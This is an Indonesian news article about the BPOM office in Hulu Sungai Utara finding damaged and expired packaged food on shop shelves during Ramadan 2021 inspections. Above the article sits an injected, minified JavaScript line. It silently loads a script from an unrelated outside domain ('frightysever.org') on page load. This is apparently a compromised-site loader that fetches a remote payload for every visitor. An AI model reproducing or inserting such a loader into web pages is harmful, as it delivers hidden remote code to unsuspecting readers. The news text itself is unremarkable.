(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BPOM HSU Masih Temukan Produk Pangan Rusak di Rak Penjualan

KANALKALIMANTAN.COM, AMUNTAI – Beberapa kali menggelar operasi selama Ramadhan, Badan Pengawasan Obat dan Makanan (BPOM) Hulu Sungai Utara (HSU) masih menemukan produk pangan yang rusak dipajang di rak penjualan.

Hal tersebut diakui Kepala Loka BPOM HSU Bambang Hery Purwanto, saat menggelar kegiatan intensifikasi pengawasan makanan di bulan suci Ramadhan dan menjelang Idul Fitri bersama tim di beberapa toko kawasan kota Amuntai, Rabu (28/4/2021).

Bambang mengatakan, kegiatan dilakukan dalam rangka untuk memastikan produk pangan yang dijual di masyarakat aman, bebas dari bahan berbahaya dan layak untuk konsumsi.

“Intensifikasi pengawasan kami laksanakan selama bulan Ramadhan hingga Idul Fitri, dengan melakukan pemeriksaan masa kedaluwarsa, izin edar dan kemasan prodak makanan,” kata Bambang Hery Purwanto.

Dari hasil intensifikasi pengawasan di HSU yang sudah merupakan tahap keempat, petugas Loka BPOM HSU menemukan beberapa produk pangan yang rusak.

Antara lain, makanan kemasan yang kemasannya sudah rusak dan masa berlakunya sudah expired akan tetapi masih dipajang di rak-rak penjualan.

Adanya temuan produk-produk pangan tersebut, ia mengingatkan kepada para pedagang agar tidak lagi menjual produk pangan yang kemasannya telah rusak dan lewat kedaluwarsa.

“Kepada masyarakat khususnya di wilayah Hulu Sungai Utara, agar selalu melakukan cek KLIK yakni kemasan, label, izin edar, kedaluwarsa, saat akan membeli dan mengkonsumsi produk pangan kemasan. Agar terhindar dari produk pangan yang tidak layak konsumsi dan dapat mengakibatkan penyakit,” pungkas Bambang. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Kk